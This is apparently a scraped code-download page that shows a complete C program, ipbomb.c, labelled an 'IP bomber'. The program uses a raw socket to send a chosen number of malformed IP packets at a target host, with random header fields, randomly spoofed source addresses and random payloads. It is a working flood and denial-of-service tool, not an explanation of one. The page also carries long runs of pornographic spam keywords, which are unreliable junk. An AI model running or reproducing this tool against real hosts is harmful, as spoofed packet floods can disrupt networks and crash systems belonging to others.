亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? ipbomb.c

?? 一些協議的c語言的例子
?? C
字號:
/*	IP bomber 	*/
#define DEBUG
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#ifndef __linux__
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#else
#include <endian.h>
#include <bsd/netinet/in_systm.h>
#include <bsd/netinet/ip.h>
#include <linux/wait.h>
#include "/usr/src/linux/net/inet/skbuff.h"
#endif

#include <assert.h>

static unsigned int wait_time = 0;
static unsigned int packet_size = 80;
static unsigned int packet_count = 1000;
static int gateway = 0x0100007f;
static int destination  = 0;
static unsigned int uflag = 0;
static unsigned int tflag = 0;

static int socket_fd;
static struct sockaddr dest;


/* Convert an ASCII string to binary IP. Borrowed from linux/net/inet/utils.c */

unsigned long
in_aton(char *str)
{
  unsigned long l;
  unsigned int val;
  int i;

  l = 0;
  for (i = 0; i < 4; i++) {
        l <<= 8;
        if (*str != '\0') {
                val = 0;
                while (*str != '\0' && *str != '.') {
                        val *= 10;
                        val += *str - '0';
                        str++;
                }
                l |= val;
                if (*str != '\0') str++;
        }
  }
  return(htonl(l));
}


void print_usage ()
{
	fprintf(stderr,
		"Usage: ipbomber [-w time] [-s packet_size] [-c packets_count] host\n");
	exit (1);
}

void get_options (int argc, char *argv[])
{
	extern int optind;
	extern char *optarg;
	int	c;

	while (( c = getopt (argc, argv, "r:c:w:s:g:")) > 0) {
		switch (c) {
			case 'w' :
				wait_time = atoi (optarg);
				break;
			case 's' :
				packet_size = atoi (optarg);
				break;
			case 'c' :
				packet_count = atoi (optarg);
				break;
			case 'g' :
				gateway = in_aton (optarg);
				break;
			case 'r' :
				srand (atoi (optarg));
				break;
			case 't' :
				tflag ++;
				break;
			case 'u' :
				uflag ++;
				break;
			default : 
				print_usage ();
		}
	}

	if ( optind >= argc ) 
		print_usage ();
	
	destination = in_aton (argv[optind]);	
#ifdef DEBUG
	fprintf (stderr, "Wait time = %d\n", wait_time);
	fprintf (stderr, "Maximum packet size = %d\n", packet_size);
	fprintf (stderr, "Packets count = %d\n", packet_count);
	fprintf (stderr, "Destination = %08x\n", destination);
	fprintf (stderr, "Gateway = %08x\n", gateway);
	if (tflag)
		fprintf (stderr, "TCP option enabled\n");
	if (uflag)
		fprintf (stderr, "UDP option enabled\n");
#endif
	
}

void init_raw_socket()
{
	unsigned int sndlen, ssndlen, optlen = sizeof (ssndlen);
	int fl;

	if ( (socket_fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 ) {
		perror ("ipbomb : socket ");
		exit (1);
	}

#ifdef __linux__
	sndlen = packet_size + 128 + 1 + sizeof (struct sk_buff);
#else
	sndlen = packet_size;
#endif
	if ( setsockopt (socket_fd, SOL_SOCKET, SO_SNDBUF, (char *) &sndlen,
		sizeof (sndlen) ) ) {
		perror ("ipbomb : setsockopt (..., ..., SO_SNDBUF,...) ");
		exit (1);
	}
	if ( getsockopt (socket_fd, SOL_SOCKET, SO_SNDBUF, (char *) &ssndlen,
		&optlen) ) {
		perror ("ipbomb : getsockopt (..., ..., SO_SNDBUF,...) ");
		exit (1);
	}

	if ( ssndlen != sndlen ) {
		fprintf (stderr, "ipbomb: maximum packet size to big.\n");
		exit (1);
	}


	fl = fcntl ( socket_fd, F_GETFL, 0);
	fl |= O_NONBLOCK;
	fcntl ( socket_fd, F_SETFL, fl);

	
}


void close_raw_socket()
{
	close (socket_fd);
}

void send_packet( char *bomb, int len )
{
	int i;

	i = sendto (socket_fd, bomb, len, 0, &dest, sizeof (dest));
/*
	if ( i != packet_size )  {
		perror ("ipbomb : sendto ");
		exit (1);
	}
*/
	
}

void generate_packet( char *bomb )
{
	struct ip * iph = (struct ip *) bomb;
	unsigned int i;
	unsigned int len = packet_size * (rand() & 0xffff) >> 16 ;

	assert ( len < packet_size );
/* Options needed to be correct */
	iph->ip_v = IPVERSION;
	iph->ip_hl = 5;
	iph->ip_sum = 0;
	iph->ip_len = htons(len); 

/* Random options */
#define SET_RAND(_a)  iph->_a = rand() & ((1 << (sizeof (iph->_a) * 8)) - 1)
	SET_RAND(ip_tos);
	SET_RAND(ip_id);
	SET_RAND(ip_ttl);
	SET_RAND(ip_off);
	SET_RAND(ip_p);
#undef SET_RAND
	iph->ip_src.s_addr = rand();
	iph->ip_dst.s_addr = destination ? destination : rand();


	for ( i = sizeof (struct ip); i < len; i++)
		bomb[i] = rand() & 255;

	send_packet(bomb, len);
}

void main (int argc, char *argv[])
{
	int i;
	char * bomb;	 
	struct sockaddr_in * inet_dest = (struct sockaddr_in *) & dest;

	srand (time (NULL));

	get_options (argc, argv);	

	bzero (&dest, sizeof (dest));
	inet_dest->sin_family = AF_INET;
	inet_dest->sin_addr.s_addr = gateway;

	if ( (bomb = malloc(packet_size)) == NULL) {
		perror ("ipbomber: malloc");
		exit(1);
	}
	
	init_raw_socket();
	
	for ( i = 0; i < packet_count; i++ ) {
		generate_packet (bomb);
	}
	
	close_raw_socket();
	
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
韩国精品在线观看| 亚洲国产一区二区三区| 另类小说图片综合网| 日韩视频永久免费| 久久97超碰色| 亚洲精品少妇30p| 91精品国产色综合久久不卡电影| 国产真实乱对白精彩久久| 午夜伦理一区二区| 中文子幕无线码一区tr| 欧美伊人久久大香线蕉综合69| 午夜欧美大尺度福利影院在线看| 一区二区三区影院| 久久久国产精华| 欧美日韩亚洲丝袜制服| 成人在线视频首页| 石原莉奈在线亚洲三区| 国产精品国产三级国产aⅴ入口| 欧美日韩一区二区在线视频| 欧美亚男人的天堂| 6080日韩午夜伦伦午夜伦| 成人av在线看| 国产一区三区三区| 美腿丝袜在线亚洲一区 | 一区二区三区在线播| 一区二区视频在线| 日本成人在线电影网| 亚洲精品一二三区| 丝袜美腿亚洲一区| 国产资源在线一区| av午夜一区麻豆| 成人黄色国产精品网站大全在线免费观看 | 日韩一区二区三区电影在线观看| 欧美tickling网站挠脚心| 在线看不卡av| 日本韩国视频一区二区| 成人av第一页| 在线播放中文字幕一区| 欧美中文字幕一区| 精品久久99ma| 在线播放亚洲一区| 国产精品毛片a∨一区二区三区| 久久久99免费| 久久人人97超碰com| 一区二区三区丝袜| 国产制服丝袜一区| 6080国产精品一区二区| 亚洲天堂精品视频| 亚洲精品va在线观看| 精品亚洲成a人在线观看| 色综合久久中文综合久久牛| 99视频精品全部免费在线| 欧美一级高清大全免费观看| 亚洲精品视频在线观看免费| 国产精品一级片在线观看| 国产不卡一区视频| 91蜜桃网址入口| 欧美日韩电影在线| 精品久久久久av影院| 水蜜桃久久夜色精品一区的特点| 成人av电影在线网| 久久精品人人爽人人爽| 裸体在线国模精品偷拍| 欧美性色黄大片手机版| 中文字幕在线不卡视频| 天堂资源在线中文精品| 91黄色免费看| 亚洲精品大片www| 成人午夜碰碰视频| 中文字幕精品一区二区三区精品| 久久99精品一区二区三区三区| 3d成人动漫网站| 偷拍一区二区三区| 欧美日韩成人综合天天影院| 亚洲国产精品久久艾草纯爱| 色视频一区二区| 亚洲一区免费视频| 狠狠网亚洲精品| 精品久久久久久久久久久久久久久 | 国产精品高清亚洲| 高清日韩电视剧大全免费| 久久免费视频一区| 国产激情一区二区三区桃花岛亚洲| 91网站黄www| 国产精品国产自产拍高清av| av午夜精品一区二区三区| 亚洲色图欧美在线| 欧美唯美清纯偷拍| 日精品一区二区三区| 欧美一区二区三区电影| 激情文学综合丁香| 亚洲大型综合色站| 精品一区二区在线免费观看| 精品日韩成人av| 国产99久久久久久免费看农村| 国产精品国模大尺度视频| 91视频91自| 日韩精品亚洲一区| 久久久久久夜精品精品免费| 成人黄页在线观看| 天天色天天爱天天射综合| 精品久久久久香蕉网| www.激情成人| 亚洲成va人在线观看| 精品久久久久久久久久久久久久久久久| 国产一区二区三区四| 自拍偷拍国产精品| 在线播放日韩导航| 成人av网站免费观看| 五月婷婷另类国产| 久久久久久久电影| 在线观看欧美黄色| 久久国产精品72免费观看| 国产精品久久久久久久久久免费看 | 国产伦精品一区二区三区视频青涩 | 国产欧美va欧美不卡在线| 精品在线亚洲视频| 亚洲精品亚洲人成人网在线播放| 日韩一区二区三区在线视频| 成人动漫在线一区| 日韩影院在线观看| 中文字幕在线观看不卡| 日韩一卡二卡三卡| 日本精品视频一区二区三区| 久久国产尿小便嘘嘘尿| 一区视频在线播放| 亚洲欧洲国产日本综合| 欧美电影在线免费观看| bt欧美亚洲午夜电影天堂| 蜜臀久久99精品久久久久宅男| 亚洲欧美在线观看| 久久综合色之久久综合| 国产成人午夜视频| 日本欧美在线观看| 亚洲男人电影天堂| 欧美日韩一区高清| 91偷拍与自偷拍精品| 国产剧情av麻豆香蕉精品| 午夜激情一区二区三区| 亚洲乱码国产乱码精品精的特点| 久久久美女艺术照精彩视频福利播放| 欧美性受xxxx| 91亚洲男人天堂| 成人在线视频首页| 国产成人午夜片在线观看高清观看| 亚洲国产一区二区视频| 亚洲人成影院在线观看| 国产精品美女视频| 国产欧美一区二区三区在线老狼| 日韩欧美国产不卡| aaa国产一区| 成人激情校园春色| 不卡av在线免费观看| 国产精品99久久久| 国产麻豆91精品| 成人网在线免费视频| 成人综合激情网| av一区二区三区在线| 99久久精品国产一区| 久久国产人妖系列| 国产尤物一区二区| 国产99久久久国产精品| 国产乱码字幕精品高清av| 国产精品一区二区视频| 国产不卡视频一区| 色综合网站在线| 国产制服丝袜一区| 成人综合激情网| 91在线观看一区二区| 欧美性大战xxxxx久久久| 欧美片在线播放| 精品欧美一区二区久久| 久久综合色一综合色88| 国产精品色哟哟| 亚洲一区二区精品视频| 免费人成在线不卡| 亚洲成人你懂的| 久久国产福利国产秒拍| 从欧美一区二区三区| 欧美伊人久久久久久久久影院 | 日韩电影在线一区二区三区| 麻豆精品久久久| 成人国产电影网| 91麻豆精品91久久久久同性| 国产区在线观看成人精品| 综合色天天鬼久久鬼色| 日本午夜精品视频在线观看| 成人激情综合网站| 欧美精品久久久久久久多人混战| 久久综合一区二区| 悠悠色在线精品| 国产精品影视天天线| 欧美综合一区二区| 久久久不卡网国产精品二区| 亚洲自拍另类综合| 国产成人亚洲综合a∨猫咪| 欧美三级韩国三级日本一级| 26uuuu精品一区二区| 亚洲综合图片区| 国产成人av自拍|